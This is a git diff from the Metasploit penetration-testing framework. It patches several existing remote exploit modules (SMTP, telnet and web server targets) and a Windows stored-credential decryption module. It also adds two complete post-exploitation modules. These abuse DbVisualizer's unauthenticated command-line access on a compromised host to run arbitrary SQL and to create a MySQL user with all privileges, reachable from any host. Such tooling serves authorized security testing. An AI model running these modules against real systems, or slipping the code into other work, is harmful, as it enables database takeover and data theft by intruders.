sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
# Can't flag the web server as vulnerable, because it doesn't
|
||||
# give us a version
|
||||
vprint_line(res)
|
||||
if res =~ /3S_WebServer/
|
||||
vprint_line(res.to_s)
|
||||
if res.to_s =~ /3S_WebServer/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Trying target #{target.name}...")
|
||||
sock.put(sploit)
|
||||
res = sock.get_once
|
||||
res = sock.get_once(-1, 5)
|
||||
print_line(res) unless res.nil?
|
||||
|
||||
handler
|
||||
|
|
|
@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
exe = generate_payload_exe
|
||||
# Padding to be sure we're aligned to 4 bytes.
|
||||
exe << "\x00" until exe.length % 4 == 0
|
||||
longs = exe.unpack("l*")
|
||||
longs = exe.unpack("V*")
|
||||
offset = 0
|
||||
|
||||
# gefebt.exe isn't able to handle (on my test environment) long
|
||||
|
|
|
@ -3,18 +3,15 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
=begin
|
||||
Windows XP systems that are not part of a domain default to treating all
|
||||
network logons as if they were Guest. This prevents SMB relay attacks from
|
||||
gaining administrative access to these systems. This setting can be found
|
||||
under:
|
||||
|
||||
Local Security Settings >
|
||||
Local Policies >
|
||||
Security Options >
|
||||
Network Access: Sharing and security model for local accounts
|
||||
=end
|
||||
# Windows XP systems that are not part of a domain default to treating all
|
||||
# network logons as if they were Guest. This prevents SMB relay attacks from
|
||||
# gaining administrative access to these systems. This setting can be found
|
||||
# under:
|
||||
#
|
||||
# Local Security Settings >
|
||||
# Local Policies >
|
||||
# Security Options >
|
||||
# Network Access: Sharing and security model for local accounts
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
|
|
@ -58,10 +58,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
banner = sock.get_once(-1,3) || ''
|
||||
banner = sock.get_once || ''
|
||||
disconnect
|
||||
|
||||
if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
|
||||
if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
sock.put("XEXCH50 2 2\r\n")
|
||||
select(nil,nil,nil,3)
|
||||
res = sock.get(-1,3)
|
||||
res = sock.get_once
|
||||
print_status("#{res}")
|
||||
if (res !~ /Send binary data/)
|
||||
print_status("Target is not vulnerable.")
|
||||
|
|
|
@ -84,10 +84,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
connect
|
||||
print_status("Attempting to determine if target is possibly vulnerable...")
|
||||
select(nil,nil,nil,7)
|
||||
banner = sock.get_once(-1,3) || ''
|
||||
banner = sock.get_once || ''
|
||||
vprint_status("Banner: #{banner}")
|
||||
|
||||
if (banner =~ /TelSrv 1\.5/)
|
||||
if banner.to_s =~ /TelSrv 1\.5/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -129,7 +129,7 @@ module Metasploit3
|
|||
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
|
||||
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
|
||||
#patch call Internetopen
|
||||
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V")
|
||||
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
|
||||
|
||||
# patch the LPORT
|
||||
lport = datastore['LPORT']
|
||||
|
|
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Multi Gather Dbvis Connections Settings',
|
||||
'Name' => 'Multi Gather DbVisualizer Connections Settings',
|
||||
'Description' => %q{
|
||||
DbVisualizer stores the user database configuration in dbvis.xml.
|
||||
This module retrieves the connections settings from this file.
|
||||
|
|
|
@ -0,0 +1,245 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Multi Manage DbVisualizer Add Db Admin',
|
||||
'Description' => %q{
|
||||
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
|
||||
(With GUI). The remote database can be accessed from the command line without the need
|
||||
to authenticate, which can be abused to create an administrator in the database with the
|
||||
proper database permissions. Note: This module currently only supports MySQL.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://youtu.be/0LCLRVHX1vA']
|
||||
],
|
||||
'Platform' => %w{ linux win },
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
|
||||
OptString.new('DBUSERNAME', [true,'The user you want to add to the remote database', 'msf']),
|
||||
OptString.new('DBPASSWORD', [true,'User password to set', 'msfRocks'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
db_type = exist_and_supported()
|
||||
unless db_type.blank?
|
||||
dbvis = find_dbviscmd()
|
||||
unless dbvis.blank?
|
||||
sql = get_sql(db_type)
|
||||
errors = dbvis_query(dbvis,sql)
|
||||
if errors == true
|
||||
print_error("No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ")
|
||||
else
|
||||
print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check if the alias exist and if database is supported by this script
|
||||
def exist_and_supported()
|
||||
case session.platform
|
||||
when /linux/
|
||||
user = session.shell_command("whoami")
|
||||
print_status("Current user is #{user}")
|
||||
if (user =~ /root/)
|
||||
user_base = "/root/"
|
||||
else
|
||||
user_base = "/home/#{user}/"
|
||||
end
|
||||
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
|
||||
when /win/
|
||||
user_profile = session.sys.config.getenv('USERPROFILE')
|
||||
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
|
||||
end
|
||||
|
||||
unless file?(dbvis_file)
|
||||
#File not found, we next try with the old config path
|
||||
print_status("File not found: #{dbvis_file}")
|
||||
print_status("This could be an older version of dbvis, trying old path")
|
||||
case session.platform
|
||||
when /linux/
|
||||
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
|
||||
when /win/
|
||||
dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml"
|
||||
end
|
||||
unless file?(dbvis_file)
|
||||
print_error("File not found: #{dbvis_file}")
|
||||
return
|
||||
end
|
||||
old_version = true
|
||||
end
|
||||
|
||||
print_status("Reading : #{dbvis_file}" )
|
||||
raw_xml = ""
|
||||
begin
|
||||
raw_xml = read_file(dbvis_file)
|
||||
rescue EOFError
|
||||
# If there's nothing in the file, we hit EOFError
|
||||
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
|
||||
return
|
||||
end
|
||||
|
||||
db_found = false
|
||||
alias_found = false
|
||||
db_type = nil
|
||||
db_type_ok = false
|
||||
|
||||
# fetch config file
|
||||
raw_xml.each_line do |line|
|
||||
|
||||
if line =~ /<Database id=/
|
||||
db_found = true
|
||||
elsif line =~ /<\/Database>/
|
||||
db_found = false
|
||||
end
|
||||
|
||||
if db_found == true
|
||||
|
||||
# checkthe alias
|
||||
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
|
||||
if datastore['DBALIAS'] == $1
|
||||
alias_found = true
|
||||
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
|
||||
end
|
||||
end
|
||||
|
||||
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
|
||||
if alias_found
|
||||
print_good("Username for this connection : #{$1}")
|
||||
end
|
||||
end
|
||||
|
||||
# check the type
|
||||
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
|
||||
if alias_found
|
||||
db_type = $1
|
||||
db_type_ok = check_db_type(db_type)
|
||||
if db_type_ok
|
||||
print_good("Database #{db_type} is supported ")
|
||||
else
|
||||
print_error("Database #{db_type} is not supported (yet)")
|
||||
db_type = nil
|
||||
end
|
||||
alias_found = false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if db_type.blank?
|
||||
print_error("Database alias not found in dbvis.xml")
|
||||
end
|
||||
return db_type # That is empty if DB is not supported
|
||||
end
|
||||
|
||||
# Find path to dbviscmd.sh|bat
|
||||
def find_dbviscmd
|
||||
case session.platform
|
||||
when /linux/
|
||||
dbvis = session.shell_command("locate dbviscmd.sh").chomp
|
||||
if dbvis.chomp == ""
|
||||
print_error("dbviscmd.sh not found")
|
||||
return nil
|
||||
else
|
||||
print_good("Dbviscmd found : #{dbvis}")
|
||||
end
|
||||
when /win/
|
||||
# Find program files
|
||||
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
||||
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
|
||||
if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/
|
||||
program_files = progfiles_x86 # x64
|
||||
else
|
||||
program_files = progfiles_env['ProgramFiles'] # x86
|
||||
end
|
||||
dirs = []
|
||||
session.fs.dir.foreach(program_files) do |d|
|
||||
dirs << d
|
||||
end
|
||||
dbvis_home_dir = nil
|
||||
#Browse program content to find a possible dbvis home
|
||||
dirs.each do |d|
|
||||
if (d =~ /DbVisualizer[\S+\s+]+/i)
|
||||
dbvis_home_dir=d
|
||||
end
|
||||
end
|
||||
if dbvis_home_dir.blank?
|
||||
print_error("Dbvis home not found, maybe uninstalled ?")
|
||||
return nil
|
||||
end
|
||||
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
|
||||
unless file?(dbvis)
|
||||
print_error("dbviscmd.bat not found")
|
||||
return nil
|
||||
end
|
||||
print_good("Dbviscmd found : #{dbvis}")
|
||||
end
|
||||
return dbvis
|
||||
end
|
||||
|
||||
# Query execution method
|
||||
def dbvis_query(dbvis,sql)
|
||||
error = false
|
||||
resp = ''
|
||||
if file?(dbvis) == true
|
||||
f = session.fs.file.stat(dbvis)
|
||||
if f.uid == Process.euid or Process.groups.include?f.gid
|
||||
print_status("Trying to execute evil sql, it can take time ...")
|
||||
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
|
||||
dbvis = "\"#{dbvis}\""
|
||||
cmd = "#{dbvis} #{args}"
|
||||
resp = cmd_exec(cmd)
|
||||
vprint_line("")
|
||||
vprint_status("#{resp}")
|
||||
if resp =~ /denied|failed/i
|
||||
error = true
|
||||
end
|
||||
else
|
||||
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
|
||||
end
|
||||
else
|
||||
print_error("#{dbvis} is not a file")
|
||||
end
|
||||
return error
|
||||
end
|
||||
|
||||
# Database dependent part
|
||||
|
||||
# Check if db type is supported by this script
|
||||
def check_db_type(type)
|
||||
return type.to_s =~ /mysql/i
|
||||
end
|
||||
|
||||
# Build proper sql
|
||||
def get_sql(db_type)
|
||||
if db_type =~ /mysql/i
|
||||
sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
|
||||
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"
|
||||
|
||||
sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
|
||||
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;"
|
||||
return sql
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,220 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Multi Manage DbVisualizer Query',
|
||||
'Description' => %q{
|
||||
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
|
||||
(With GUI). The remote database can be accessed from the command line without the need
|
||||
to authenticate, and this module abuses this functionality to query and will store the
|
||||
results.
|
||||
|
||||
Please note: backslash quotes and your (stacked or not) queries should
|
||||
end with a semicolon.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://youtu.be/0LCLRVHX1vA']
|
||||
],
|
||||
'Platform' => %w{ linux win },
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
|
||||
OptString.new('QUERY', [true,'The query you want to execute on the remote database', '']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
db_type = exist_and_supported()
|
||||
unless db_type.blank?
|
||||
dbvis = find_dbviscmd()
|
||||
unless dbvis.blank?
|
||||
dbvis_query(dbvis,datastore['QUERY'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Check if the alias exist and if database is supported by this script
|
||||
def exist_and_supported()
|
||||
case session.platform
|
||||
when /linux/
|
||||
user = session.shell_command("whoami")
|
||||
print_status("Current user is #{user}")
|
||||
if (user =~ /root/)
|
||||
user_base = "/root/"
|
||||
else
|
||||
user_base = "/home/#{user}/"
|
||||
end
|
||||
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
|
||||
when /win/
|
||||
user_profile = session.sys.config.getenv('USERPROFILE')
|
||||
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
|
||||
end
|
||||
|
||||
unless file?(dbvis_file)
|
||||
#File not found, we next try with the old config path
|
||||
print_status("File not found: #{dbvis_file}")
|
||||
print_status("This could be an older version of dbvis, trying old path")
|
||||
case session.platform
|
||||
when /linux/
|
||||
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
|
||||
when /win/
|
||||
dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml"
|
||||
end
|
||||
unless file?(dbvis_file)
|
||||
print_error("File not found: #{dbvis_file}")
|
||||
return
|
||||
end
|
||||
old_version = true
|
||||
end
|
||||
|
||||
print_status("Reading : #{dbvis_file}" )
|
||||
raw_xml = ""
|
||||
begin
|
||||
raw_xml = read_file(dbvis_file)
|
||||
rescue EOFError
|
||||
# If there's nothing in the file, we hit EOFError
|
||||
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
|
||||
return
|
||||
end
|
||||
|
||||
db_found = false
|
||||
alias_found = false
|
||||
db_type = nil
|
||||
db_type_ok = false
|
||||
|
||||
# fetch config file
|
||||
raw_xml.each_line do |line|
|
||||
|
||||
if line =~ /<Database id=/
|
||||
db_found = true
|
||||
elsif line =~ /<\/Database>/
|
||||
db_found = false
|
||||
end
|
||||
|
||||
if db_found == true
|
||||
|
||||
# checkthe alias
|
||||
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
|
||||
if datastore['DBALIAS'] == $1
|
||||
alias_found = true
|
||||
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
|
||||
end
|
||||
end
|
||||
|
||||
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
|
||||
if alias_found
|
||||
print_good("Username for this connection : #{$1}")
|
||||
end
|
||||
end
|
||||
|
||||
# check the type
|
||||
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
|
||||
if alias_found
|
||||
db_type = $1
|
||||
alias_found = false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
if db_type.blank?
|
||||
print_error("Database alias not found in dbvis.xml")
|
||||
end
|
||||
return db_type # That is empty if DB is not supported
|
||||
end
|
||||
|
||||
# Find path to dbviscmd.sh|bat
|
||||
def find_dbviscmd
|
||||
case session.platform
|
||||
when /linux/
|
||||
dbvis = session.shell_command("locate dbviscmd.sh").chomp
|
||||
if dbvis.chomp == ""
|
||||
print_error("dbviscmd.sh not found")
|
||||
return nil
|
||||
else
|
||||
print_good("Dbviscmd found : #{dbvis}")
|
||||
end
|
||||
when /win/
|
||||
# Find program files
|
||||
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
||||
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
|
||||
if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/
|
||||
program_files = progfiles_x86 # x64
|
||||
else
|
||||
program_files = progfiles_env['ProgramFiles'] # x86
|
||||
end
|
||||
dirs = []
|
||||
session.fs.dir.foreach(program_files) do |d|
|
||||
dirs << d
|
||||
end
|
||||
dbvis_home_dir = nil
|
||||
#Browse program content to find a possible dbvis home
|
||||
dirs.each do |d|
|
||||
if (d =~ /DbVisualizer[\S+\s+]+/i)
|
||||
dbvis_home_dir = d
|
||||
end
|
||||
end
|
||||
if dbvis_home_dir.blank?
|
||||
print_error("Dbvis home not found, maybe uninstalled ?")
|
||||
return nil
|
||||
end
|
||||
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
|
||||
unless file?(dbvis)
|
||||
print_error("dbviscmd.bat not found")
|
||||
return nil
|
||||
end
|
||||
print_good("Dbviscmd found : #{dbvis}")
|
||||
end
|
||||
return dbvis
|
||||
end
|
||||
|
||||
# Query execution method
|
||||
def dbvis_query(dbvis,sql)
|
||||
error = false
|
||||
resp = ''
|
||||
if file?(dbvis) == true
|
||||
f = session.fs.file.stat(dbvis)
|
||||
if f.uid == Process.euid or Process.groups.include?f.gid
|
||||
print_status("Trying to execute evil sql, it can take time ...")
|
||||
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
|
||||
dbvis = "\"#{dbvis}\""
|
||||
cmd = "#{dbvis} #{args}"
|
||||
resp = cmd_exec(cmd)
|
||||
print_line("")
|
||||
print_line("#{resp}")
|
||||
# store qury and result
|
||||
p = store_loot(
|
||||
"dbvis.query",
|
||||
"text/plain",
|
||||
session,
|
||||
resp.to_s,
|
||||
"dbvis_query.txt",
|
||||
"dbvis query")
|
||||
print_good("Query stored in: #{p.to_s}")
|
||||
else
|
||||
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
|
||||
end
|
||||
else
|
||||
print_error("#{dbvis} is not a file")
|
||||
end
|
||||
return error
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Post
|
|||
if is_86
|
||||
addr = [data].pack("V")
|
||||
else
|
||||
addr = [data].pack("Q")
|
||||
addr = [data].pack("Q<")
|
||||
end
|
||||
return addr
|
||||
end
|
||||
|
@ -95,7 +95,7 @@ class Metasploit3 < Msf::Post
|
|||
len,add = ret["pDataOut"].unpack("V2")
|
||||
else
|
||||
ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,16)
|
||||
len,add = ret["pDataOut"].unpack("Q2")
|
||||
len,add = ret["pDataOut"].unpack("Q<2")
|
||||
end
|
||||
|
||||
#get data, and return it
|
||||
|
@ -188,14 +188,14 @@ class Metasploit3 < Msf::Post
|
|||
#read array of addresses as pointers to each structure
|
||||
raw = read_str(p_to_arr[0], arr_len, 2)
|
||||
pcred_array = raw.unpack("V*") if is_86
|
||||
pcred_array = raw.unpack("Q*") unless is_86
|
||||
pcred_array = raw.unpack("Q<*") unless is_86
|
||||
|
||||
#loop through the addresses and read each credential structure
|
||||
pcred_array.each do |pcred|
|
||||
cred = {}
|
||||
raw = read_str(pcred, 52,2)
|
||||
cred_struct = raw.unpack("VVVVQVVVVVVV") if is_86
|
||||
cred_struct = raw.unpack("VVQQQQQVVQQQ") unless is_86
|
||||
cred_struct = raw.unpack("VVVVQ<VVVVVVV") if is_86
|
||||
cred_struct = raw.unpack("VVQ<Q<Q<Q<Q<VVQ<Q<Q<") unless is_86
|
||||
cred["flags"] = cred_struct[0]
|
||||
cred["type"] = cred_struct[1]
|
||||
cred["targetname"] = read_str(cred_struct[2],512, 1)
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue